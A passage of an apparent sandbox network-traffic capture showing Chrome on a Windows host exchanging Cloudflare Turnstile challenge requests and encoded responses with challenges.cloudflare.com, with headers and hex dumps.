2024-07-03 21:50:10 UTC	487	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1171513691:1720042031:V-1DSJGSRzYWJ5RQHOROFwIaAUUuh9iSOzGOqOAfpJc/89da16dad8d74243/874531de73a4462 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 21:50:11 UTC	375	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 21:50:11 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: OQZm1lmfv5lSFl5zkpd1mg==$PiuAopnlIF5uzjuwNnMDbA== Server: cloudflare CF-RAY: 89da16f6ee397c96-EWR alt-svc: h3=":443"; ma=86400
2024-07-03 21:50:11 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49753	104.17.2.184	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:11 UTC	775	OUT	GET /cdn-cgi/challenge-platform/h/g/i/89da16dad8d74243/1720043409263/BGklw8ERV6X92zV HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/fozv9/0x4AAAAAAAdTh0M8wTbaildE/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 21:50:11 UTC	200	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:50:11 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 89da16f94ddc42ea-EWR alt-svc: h3=":443"; ma=86400
2024-07-03 21:50:11 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 17 00 00 00 0a 08 02 00 00 00 d0 00 52 b2 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRRIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49754	104.17.2.184	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:11 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/g/i/89da16dad8d74243/1720043409263/BGklw8ERV6X92zV HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 21:50:12 UTC	200	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:50:12 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 89da16fd2b401768-EWR alt-svc: h3=":443"; ma=86400
2024-07-03 21:50:12 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 17 00 00 00 0a 08 02 00 00 00 d0 00 52 b2 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRRIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49755	104.17.2.184	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:12 UTC	804	OUT	GET /cdn-cgi/challenge-platform/h/g/pat/89da16dad8d74243/1720043409268/4cbea6bdec3ef6990ccfedda2ef1a55585db0d80cdc1a200bd58117d25703da1/KPMbw5S5tDAhQT0 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/fozv9/0x4AAAAAAAdTh0M8wTbaildE/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 21:50:12 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Wed, 03 Jul 2024 21:50:12 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 1 Connection: close
2024-07-03 21:50:12 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 54 4c 36 6d 76 65 77 2d 39 70 6b 4d 7a 2d 33 61 4c 76 47 6c 56 59 58 62 44 59 44 4e 77 61 49 41 76 56 67 52 66 53 56 77 50 61 45 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gTL6mvew-9pkMz-3aLvGlVYXbDYDNwaIAvVgRfSVwPaEAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-07-03 21:50:12 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49756	104.17.2.184	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:12 UTC	917	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1171513691:1720042031:V-1DSJGSRzYWJ5RQHOROFwIaAUUuh9iSOzGOqOAfpJc/89da16dad8d74243/874531de73a4462 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 30573 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 874531de73a4462 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/fozv9/0x4AAAAAAAdTh0M8wTbaildE/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 21:50:12 UTC	16384	OUT	Data Raw: 76 5f 38 39 64 61 31 36 64 61 64 38 64 37 34 32 34 33 3d 38 34 72 45 2d 4e 53 32 30 53 62 77 72 76 6b 62 76 62 30 45 6c 34 53 63 69 5a 69 56 69 52 4c 4c 69 42 72 33 67 39 69 4d 45 37 51 45 69 73 72 69 6b 45 53 72 4e 4c 69 46 45 6c 46 30 4e 24 69 36 67 79 49 53 6c 69 32 45 4e 73 69 48 45 69 61 69 31 4c 71 77 53 6e 62 71 51 35 34 30 69 76 45 34 69 4c 24 45 53 54 6f 69 53 7a 62 53 54 68 75 69 52 73 49 69 4a 51 69 67 32 69 77 46 49 78 64 4f 69 4c 73 78 5a 70 45 33 6b 69 25 32 62 59 75 48 4e 69 7a 73 4d 42 70 45 69 79 24 78 4e 69 77 41 4d 69 34 37 4e 64 70 45 33 4b 4c 4c 59 53 57 33 75 78 48 64 46 6b 69 69 6e 53 69 69 32 6d 35 6e 34 32 34 45 69 41 6c 4b 49 24 68 42 36 73 41 43 55 69 44 78 6a 48 74 45 35 55 55 67 4f 73 2d 38 34 4b 42 38 56 67 56 55 35 50 73 6f Data Ascii: v_89da16dad8d74243=84rE-NS20Sbwrvkbvb0El4SciZiViRLLiBr3g9iME7QEisrikESrNLiFElF0N$i6gyISli2ENsiHEiai1LqwSnbqQ540ivE4iL$ESToiSzbSThuiRsIiJQig2iwFIxdOiLsxZpE3ki%2bYuHNizsMBpEiy$xNiwAMi47NdpE3KLLYSW3uxHdFkiinSii2m5n424EiAlKI$hB6sACUiDxjHtE5UUgOs-84KB8VgVU5Pso
2024-07-03 21:50:12 UTC	14189	OUT	Data Raw: 69 6e 45 70 69 6c 72 77 56 41 24 69 77 72 43 72 47 45 43 45 53 30 33 45 44 6d 69 44 45 53 34 69 71 4d 77 78 69 71 69 75 69 43 78 4c 32 62 54 69 76 78 31 63 69 51 65 70 78 69 6c 53 2d 69 63 51 31 6c 53 4c 69 42 56 53 33 53 2b 69 63 51 77 64 68 4c 67 24 4a 48 62 69 45 77 77 34 31 71 53 67 51 68 62 69 76 53 7a 69 44 6d 77 71 53 46 46 31 78 4c 51 69 4c 45 63 78 33 45 53 7a 69 75 69 4e 6d 53 2b 69 43 69 33 45 53 6a 34 4c 73 4c 61 69 55 45 35 6b 33 6b 69 77 72 4a 59 78 54 69 5a 69 4a 78 77 56 47 6e 45 63 78 77 6b 53 47 69 44 77 53 73 69 35 77 69 63 4c 77 53 68 51 37 63 69 78 45 54 36 24 55 77 73 53 7a 62 63 4a 4c 42 4d 67 51 75 69 69 4a 69 59 45 66 77 33 61 75 46 69 66 72 69 76 69 64 69 43 69 31 78 53 38 41 6f 45 53 53 59 2d 69 4e 63 69 46 34 34 69 63 56 73 51 Data Ascii: inEpilrwVA$iwrCrGECES03EDmiDES4iqMwxiqiuiCxL2bTivx1ciQepxilS-icQ1lSLiBVS3S+icQwdhLg$JHbiEww41qSgQhbivSziDmwqSFF1xLQiLEcx3ESziuiNmS+iCi3ESj4LsLaiUE5k3kiwrJYxTiZiJxwVGnEcxwkSGiDwSsi5wicLwShQ7cixET6$UwsSzbcJLBMgQuiiJiYEfw3auFifrividiCi1xS8AoESSY-iNciF44icVsQ
2024-07-03 21:50:13 UTC	322	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:50:13 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 23424 Connection: close cf-chl-gen: CXtTEdpJLz/hXdPNtXfZUKx7pveQuO2UiJahlPdSaYqi/np/ul+ctXWkimizcInH$2Zx4AO4BntJTqbhSaLPupQ== Server: cloudflare CF-RAY: 89da17028dfe0cdd-EWR alt-svc: h3=":443"; ma=86400
2024-07-03 21:50:13 UTC	1047	IN	Data Raw: 75 33 70 2f 73 38 4b 33 6a 72 2b 5a 79 59 48 42 70 4b 4f 69 6f 70 44 46 6f 5a 2f 55 71 64 4f 6a 32 4b 32 55 74 4e 75 79 75 62 79 5a 76 4d 2f 68 74 4e 65 35 32 65 58 54 77 4f 50 6a 71 37 66 67 33 39 44 62 30 74 47 74 77 39 48 57 2b 4f 71 31 35 76 58 52 79 64 6b 44 39 65 2f 61 39 72 33 54 77 77 6a 33 78 4f 6b 48 33 66 6f 4d 2b 63 76 4f 43 75 41 45 7a 75 67 4c 42 4f 63 57 46 39 67 4c 47 52 6f 4c 49 42 33 34 34 2b 63 4a 35 66 66 6b 35 42 38 48 4a 51 55 79 4a 53 6f 44 4c 79 49 73 4c 7a 51 54 4e 78 45 76 39 55 44 37 51 52 37 38 49 68 6f 34 48 51 41 79 4e 43 6c 4f 52 30 51 6d 43 45 78 4d 4d 41 35 52 53 31 41 51 47 55 77 34 46 6c 6b 32 51 57 46 64 55 44 5a 6c 54 7a 35 49 4f 32 70 71 4b 47 34 2f 4b 45 64 41 63 31 39 41 4c 6d 31 6c 61 56 46 77 64 30 55 31 57 6a 39 Data Ascii: u3p/s8K3jr+ZyYHBpKOiopDFoZ/UqdOj2K2UtNuyubyZvM/htNe52eXTwOPjq7fg39Db0tGtw9HW+Oq15vXRydkD9e/a9r3Twwj3xOkH3foM+cvOCuAEzugLBOcWF9gLGRoLIB344+cJ5ffk5B8HJQUyJSoDLyIsLzQTNxEv9UD7QR78Iho4HQAyNClOR0QmCExMMA5RS1AQGUw4Flk2QWFdUDZlTz5IO2pqKG4/KEdAc19ALm1laVFwd0U1Wj9
2024-07-03 21:50:13 UTC	1369	IN	Data Raw: 4b 77 4b 69 79 71 36 62 58 72 4c 6d 77 72 63 69 66 73 2b 4b 62 30 64 53 79 78 73 53 39 30 36 4c 55 74 39 37 66 7a 38 2f 45 36 64 58 44 79 75 6d 7a 36 4c 4c 72 39 4d 72 35 37 77 44 4d 31 39 77 45 30 76 54 6d 41 73 48 47 34 38 59 4c 7a 75 7a 6f 45 76 30 42 7a 4d 7a 2b 34 52 55 4e 42 52 44 63 47 2f 34 56 44 42 38 54 33 42 44 6a 45 39 38 56 39 41 72 6a 44 75 63 44 4c 78 33 38 49 65 34 68 41 52 59 7a 38 67 59 47 4e 44 55 6f 46 50 5a 41 4d 66 34 77 52 44 49 6e 41 52 6b 69 2f 42 77 58 43 67 59 47 4f 78 38 63 53 52 55 49 4e 30 74 4d 54 7a 49 61 58 42 35 63 4f 52 30 33 58 46 4e 64 52 7a 56 43 4e 43 56 69 54 46 6c 76 50 6b 52 48 4f 30 46 6d 63 48 56 67 4e 6b 78 6a 5a 47 68 35 65 7a 34 32 57 45 70 4f 66 57 39 2f 61 49 6c 2b 51 6d 6c 70 61 32 46 36 5a 6b 69 46 68 31 Data Ascii: KwKiyq6bXrLmwrcifs+Kb0dSyxsS906LUt97fz8/E6dXDyumz6LLr9Mr57wDM19wE0vTmAsHG48YLzuzoEv0BzMz+4RUNBRDcG/4VDB8T3BDjE98V9ArjDucDLx38Ie4hARYz8gYGNDUoFPZAMf4wRDInARki/BwXCgYGOx8cSRUIN0tMTzIaXB5cOR03XFNdRzVCNCViTFlvPkRHO0FmcHVgNkxjZGh5ez42WEpOfW9/aIl+Qmlpa2F6ZkiFh1
2024-07-03 21:50:13 UTC	1369	IN	Data Raw: 30 71 32 37 74 39 65 31 30 74 6a 6a 6f 4c 72 67 73 38 43 30 70 4e 79 37 77 38 4b 68 77 63 65 78 79 39 58 74 30 37 53 79 2b 66 50 4d 74 63 6a 6f 2f 75 7a 38 7a 64 4b 2f 30 77 44 32 34 67 54 55 36 73 50 63 77 4f 6a 75 44 67 59 4a 45 2b 4c 65 45 75 59 55 42 66 4c 79 32 52 6b 50 43 66 33 66 39 43 59 52 38 67 6a 61 47 52 30 74 48 65 59 4f 4c 79 67 7a 4c 2b 6f 6a 4a 52 63 4c 4e 7a 59 72 4d 51 34 79 47 50 6a 38 4e 69 73 36 41 41 4d 64 4a 6a 56 48 52 76 30 2f 52 55 34 36 52 69 6f 52 4e 54 46 4d 4d 53 4d 33 51 6a 77 78 57 42 74 66 53 54 6c 54 48 78 78 56 57 55 46 70 52 54 6b 35 4f 79 6c 4f 4c 7a 35 6c 59 79 30 2b 61 31 5a 6d 61 31 5a 58 4f 58 59 34 4e 48 35 57 67 47 42 42 62 6f 46 6e 65 31 52 36 58 55 5a 37 67 6b 52 38 63 47 35 4a 6a 57 31 69 54 59 6d 49 67 55 79 Data Ascii: 0q27t9e10tjjoLrgs8C0pNy7w8Khwcexy9Xt07Sy+fPMtcjo/uz8zdK/0wD24gTU6sPcwOjuDgYJE+LeEuYUBfLy2RkPCf3f9CYR8gjaGR0tHeYOLygzL+ojJRcLNzYrMQ4yGPj8Nis6AAMdJjVHRv0/RU46RioRNTFMMSM3QjwxWBtfSTlTHxxVWUFpRTk5OylOLz5lYy0+a1Zma1ZXOXY4NH5WgGBBboFne1R6XUZ7gkR8cG5JjW1iTYmIgUy
2024-07-03 21:50:13 UTC	1369	IN	Data Raw: 4e 53 2f 77 73 50 69 33 75 43 2b 78 38 6a 4b 33 39 76 74 70 74 44 6e 33 71 62 4a 34 4f 58 78 32 73 4c 4a 37 4e 44 31 32 74 58 78 2b 2f 30 41 41 74 6e 57 77 76 79 38 38 77 66 45 34 41 66 4e 30 4d 7a 71 37 51 4c 30 33 39 48 74 31 64 58 4f 37 41 76 75 48 4f 2f 71 38 76 6e 33 33 78 6a 30 42 65 6a 6c 49 79 6e 73 47 42 41 66 48 50 73 6a 45 43 34 55 46 44 67 63 4a 41 34 79 49 44 45 34 4e 6a 63 56 51 42 63 38 48 52 67 46 4e 6b 4d 4b 47 30 78 4e 4a 53 52 42 4d 78 56 47 4a 78 56 47 4b 69 30 6d 53 46 4a 41 46 6a 34 63 51 31 39 51 4f 52 30 35 59 6a 6c 41 56 56 70 72 62 6a 68 4c 51 6c 78 4a 52 6b 46 6a 62 7a 5a 4f 61 6b 5a 46 62 47 35 4a 62 34 42 57 56 48 52 46 56 46 4e 53 53 57 68 73 6a 47 70 2b 59 48 2b 51 67 47 53 44 6b 48 5a 6a 59 6c 6d 4b 62 4a 6c 72 57 49 35 63 Data Ascii: NS/wsPi3uC+x8jK39vtptDn3qbJ4OXx2sLJ7ND12tXx+/0AAtnWwvy88wfE4AfN0Mzq7QL039Ht1dXO7AvuHO/q8vn33xj0BejlIynsGBAfHPsjEC4UFDgcJA4yIDE4NjcVQBc8HRgFNkMKG0xNJSRBMxVGJxVGKi0mSFJAFj4cQ19QOR05YjlAVVprbjhLQlxJRkFjbzZOakZFbG5Jb4BWVHRFVFNSSWhsjGp+YH+QgGSDkHZjYlmKbJlrWI5c
2024-07-03 21:50:13 UTC	1369	IN	Data Raw: 58 47 6f 4b 62 4c 32 65 72 68 71 63 2f 71 36 64 33 67 73 71 37 34 32 50 54 4d 2b 2f 72 2b 32 74 62 63 33 37 30 42 32 4f 45 42 38 77 50 6f 78 51 6a 2b 35 42 48 35 2f 4f 45 4f 37 64 55 56 36 52 4c 51 32 4f 6f 47 2b 74 76 63 38 42 6a 55 45 65 34 53 46 42 30 6b 41 78 67 68 2f 51 50 34 43 52 44 6a 4d 67 38 6d 44 68 4d 71 4d 51 51 56 4b 44 49 52 47 6a 30 79 51 53 51 78 47 51 38 6f 48 55 67 72 52 54 77 47 4b 30 4d 4c 49 30 55 6e 4a 6a 59 56 4a 79 67 78 4c 53 39 50 57 54 35 4b 4e 30 6f 55 59 6d 45 6b 55 31 52 56 59 44 35 65 54 54 31 49 62 6b 74 69 53 6b 39 6e 52 47 5a 4f 59 46 70 46 54 6e 6c 74 4f 6c 56 74 55 58 31 41 63 55 42 52 63 46 43 48 58 49 4a 6f 52 31 69 46 5a 31 47 43 6a 48 56 6f 6c 32 64 6e 55 34 4a 75 69 32 56 55 6c 56 5a 64 65 56 35 62 67 61 57 6f 6d Data Ascii: XGoKbL2erhqc/q6d3gsq742PTM+/r+2tbc370B2OEB8wPoxQj+5BH5/OEO7dUV6RLQ2OoG+tvc8BjUEe4SFB0kAxgh/QP4CRDjMg8mDhMqMQQVKDIRGj0yQSQxGQ8oHUgrRTwGK0MLI0UnJjYVJygxLS9PWT5KN0oUYmEkU1RVYD5eTT1IbktiSk9nRGZOYFpFTnltOlVtUX1AcUBRcFCHXIJoR1iFZ1GCjHVol2dnU4Jui2VUlVZdeV5bgaWom
2024-07-03 21:50:13 UTC	1369	IN	Data Raw: 67 35 71 72 4e 35 65 76 4d 34 65 6a 4f 77 39 57 33 7a 63 76 58 38 4f 43 7a 32 66 54 37 30 2b 48 44 33 74 54 35 33 2f 63 4b 78 51 49 4f 41 41 58 65 46 42 44 49 45 63 38 54 46 76 50 78 43 74 67 54 2b 50 33 31 37 69 54 2b 33 77 45 61 34 42 55 64 2f 4f 59 68 48 78 49 49 43 43 6f 72 4d 69 55 79 38 7a 66 30 48 51 59 4b 50 78 30 59 41 67 45 7a 46 42 50 38 4d 54 38 6a 53 6a 6f 66 48 77 67 37 4d 53 4e 52 50 6a 51 6b 48 30 4d 35 4b 31 55 57 55 78 6f 57 50 69 73 71 48 69 39 6b 4d 56 59 61 56 6c 38 6e 48 6c 70 6a 4b 31 74 75 50 57 78 4b 56 47 5a 70 4c 32 4e 6b 54 30 55 36 4f 58 4e 35 64 34 46 52 68 58 4e 45 5a 6e 79 42 55 33 6b 2b 68 6e 74 50 6a 55 71 41 53 57 57 46 6a 48 53 56 64 6f 53 48 62 49 79 59 65 33 68 38 59 6c 35 33 67 71 4b 53 67 47 43 44 65 32 64 6f 72 34 Data Ascii: g5qrN5evM4ejOw9W3zcvX8OCz2fT70+HD3tT53/cKxQIOAAXeFBDIEc8TFvPxCtgT+P317iT+3wEa4BUd/OYhHxIICCorMiUy8zf0HQYKPx0YAgEzFBP8MT8jSjofHwg7MSNRPjQkH0M5K1UWUxoWPisqHi9kMVYaVl8nHlpjK1tuPWxKVGZpL2NkT0U6OXN5d4FRhXNEZnyBU3k+hntPjUqASWWFjHSVdoSHbIyYe3h8Yl53gqKSgGCDe2dor4
2024-07-03 21:50:13 UTC	1369	IN	Data Raw: 35 63 50 41 75 4e 44 47 31 64 58 5a 79 2b 2f 4e 30 73 79 38 78 66 4c 6d 35 75 4c 37 36 2f 7a 5a 39 75 37 74 41 51 44 75 42 74 58 79 35 65 58 78 44 76 66 30 46 50 44 71 45 52 7a 30 37 52 4d 55 42 66 58 77 34 42 51 49 42 77 49 4c 2f 44 41 4f 44 77 51 6a 39 42 49 46 4f 42 59 71 43 41 58 38 46 51 73 61 47 68 34 51 4e 42 49 58 45 51 45 4b 4e 79 73 72 4a 30 41 77 51 52 34 37 4d 7a 4a 46 52 44 4e 4b 47 6a 63 71 4b 6a 5a 53 50 44 6c 59 4e 53 39 56 59 44 6b 79 57 46 68 41 4f 69 55 36 59 44 30 36 58 46 45 2b 50 30 5a 4f 52 48 68 6b 53 46 64 78 55 31 74 63 4f 44 35 72 56 46 4a 58 57 6c 5a 58 57 32 5a 71 67 45 5a 72 62 55 6d 46 65 32 4a 68 64 6f 46 76 6d 49 56 6f 65 4a 42 65 64 58 42 73 58 58 5a 31 66 57 56 2b 63 36 68 36 67 48 69 72 61 59 74 38 65 61 43 64 66 37 4f Data Ascii: 5cPAuNDG1dXZy+/N0sy8xfLm5uL76/zZ9u7tAQDuBtXy5eXxDvf0FPDqERz07RMUBfXw4BQIBwIL/DAODwQj9BIFOBYqCAX8FQsaGh4QNBIXEQEKNysrJ0AwQR47MzJFRDNKGjcqKjZSPDlYNS9VYDkyWFhAOiU6YD06XFE+P0ZORHhkSFdxU1tcOD5rVFJXWlZXW2ZqgEZrbUmFe2JhdoFvmIVoeJBedXBsXXZ1fWV+c6h6gHiraYt8eaCdf7O
2024-07-03 21:50:13 UTC	1369	IN	Data Raw: 72 6a 61 79 75 2f 5a 37 4d 37 7a 33 64 7a 52 30 65 48 66 31 2f 76 6c 35 39 7a 5a 45 4f 6a 66 37 65 6e 77 34 2f 44 51 39 75 59 62 44 50 66 75 36 4e 6a 34 37 2b 33 39 2f 76 49 42 36 41 66 33 42 52 67 5a 2b 67 6e 6f 43 66 77 7a 37 41 30 45 4e 2f 51 4b 42 67 63 34 4b 52 63 5a 50 44 59 50 52 42 49 67 45 55 67 53 49 42 63 6d 47 69 63 62 4b 6c 41 6f 48 31 51 75 4d 79 4e 58 45 54 63 6e 54 43 6f 34 4c 79 6b 68 4f 79 39 6a 48 54 59 30 4d 6b 4a 42 4f 54 55 70 57 54 74 67 50 6b 77 2f 54 6b 35 48 52 45 4a 47 56 55 64 73 66 46 5a 4c 57 6c 5a 53 54 6b 31 77 58 46 4f 48 53 56 70 62 56 55 6c 70 58 46 70 61 59 31 2b 44 55 57 5a 6a 69 48 4b 46 61 4a 74 5a 62 32 78 35 57 58 39 77 6b 31 32 43 64 33 46 70 68 6e 6c 31 62 59 74 38 72 35 79 4a 66 36 53 4b 73 49 65 46 6b 6f 36 54 Data Ascii: rjayu/Z7M7z3dzR0eHf1/vl59zZEOjf7enw4/DQ9uYbDPfu6Nj47+39/vIB6Af3BRgZ+gnoCfwz7A0EN/QKBgc4KRcZPDYPRBIgEUgSIBcmGicbKlAoH1QuMyNXETcnTCo4LykhOy9jHTY0MkJBOTUpWTtgPkw/Tk5HREJGVUdsfFZLWlZSTk1wXFOHSVpbVUlpXFpaY1+DUWZjiHKFaJtZb2x5WX9wk12Cd3Fphnl1bYt8r5yJf6SKsIeFko6T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49757	104.17.2.184	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:13 UTC	487	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1171513691:1720042031:V-1DSJGSRzYWJ5RQHOROFwIaAUUuh9iSOzGOqOAfpJc/89da16dad8d74243/874531de73a4462 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 21:50:13 UTC	375	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 21:50:13 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: PpkbhAtHODhUaZvJKnVcOw==$jfPq2Z3HKzMfIT7FEA0L0A== cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 89da17080b531a07-EWR alt-svc: h3=":443"; ma=86400
2024-07-03 21:50:13 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49764	104.17.2.184	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:34 UTC	917	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1171513691:1720042031:V-1DSJGSRzYWJ5RQHOROFwIaAUUuh9iSOzGOqOAfpJc/89da16dad8d74243/874531de73a4462 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 32649 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 874531de73a4462 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/fozv9/0x4AAAAAAAdTh0M8wTbaildE/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
